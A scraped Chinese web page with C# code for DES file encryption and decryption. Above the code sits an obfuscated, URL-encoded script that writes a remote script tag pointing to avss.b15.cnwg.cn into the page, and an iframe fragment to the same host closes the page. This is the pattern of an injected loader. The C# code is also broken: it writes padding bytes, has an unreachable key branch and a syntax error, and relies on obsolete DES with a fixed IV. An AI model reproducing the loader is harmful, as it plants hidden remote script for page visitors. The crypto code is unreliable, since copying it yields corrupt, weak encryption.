HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
DES加解密密代码(C#)
加密:
private void button3_Click(object sender, EventArgs e)
{
string inname = textBox1.Text;
string outname = textBox2.Text;
byte[] IV = {0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08};
byte[] Key = {};
string keystring = textBox3.Text;
if (keystring.Length >= 8)
{
Key = new byte[] { (byte)keystring[0], (byte)keystring[1], (byte)keystring[2], (byte)keystring[3], (byte)keystring[4], (byte)keystring[5], (byte)keystring[6], (byte)keystring[7]};
}
if (keystring.Length == 6)
{
Key = new byte[] {(byte)keystring[0],(byte)keystring[1],(byte)keystring[2],(byte)keystring[3],(byte)keystring[4],(byte)keystring[5],0x07,0x08};
if (keystring.Length == 7)
{
Key = new byte[] { (byte)keystring[0], (byte)keystring[1], (byte)keystring[2], (byte)keystring[3], (byte)keystring[4], (byte)keystring[5], (byte)keystring[6], 0x08 };
}
}
//创建文件流分别指向输入和输出的文件
FileStream fin = new FileStream(inname, FileMode.Open,FileAccess.Read);
FileStream fout = new FileStream(outname, FileMode.OpenOrCreate,FileAccess.Write);
fout.SetLength(0);
//每次的中间流
byte[] bin = new byte[100];
//代表已经加密的流的大小
int complete = 0;
//代表要加密文件的大小
long totlen = fin.Length;
//每次写入的大小
int len;
DES Des = new DESCryptoServiceProvider();
CryptoStream encstream = new CryptoStream(fout, Des.CreateEncryptor(Key, IV), CryptoStreamMode.Write);
while (complete < totlen)
{
len = fin.Read(bin, 0, 100);
encstream.Write(bin, 0, 100);
complete = complete + len;
}
encstream.Close();
fin.Close();
fout.Close();
MessageBox.Show("完成",);
}
解密:
private void button7_Click(object sender, EventArgs e)
{
string fin = textBox5.Text;
string fout = textBox6.Text;
byte [] Iv ={0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08};
byte [] key = {};
string keystring = textBox7.Text;
if(keystring.Length==6)
{
key = new byte[] { (byte)keystring[0], (byte)keystring[1], (byte)keystring[2], (byte)keystring[3], (byte)keystring[4], (byte)keystring[5],0x07,0x08};
}
if (keystring.Length == 7)
{
key = new byte[] {(byte)keystring[0], (byte)keystring[1], (byte)keystring[2], (byte)keystring[3], (byte)keystring[4], (byte)keystring[5], (byte)keystring[6], 0x08};
}
if (keystring.Length >= 8)
{
key = new byte[] { (byte)keystring[0], (byte)keystring[1], (byte)keystring[2], (byte)keystring[3], (byte)keystring[4], (byte)keystring[5], (byte)keystring[6], (byte)keystring[7]};
}
FileStream finfath = new FileStream(fin, FileMode.Open, FileAccess.Read);
FileStream foutfath = new FileStream(fout, FileMode.OpenOrCreate, FileAccess.Write);
foutfath.SetLength(0);
long lengh = finfath.Length;
byte[] bin = new byte[100];
int complect = 0;
int len;
DES des = new DESCryptoServiceProvider();
CryptoStream com = new CryptoStream(foutfath, des.CreateDecryptor(key, Iv), CryptoStreamMode.Write);
while (complect < lengh)
{
len = finfath.Read(bin, 0, 100);
com.Write(bin, 0, len);
complect = len + complect;
}
com.Close();
finfath.Close();
foutfath.Close();
MessageBox.Show("完成");
}
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">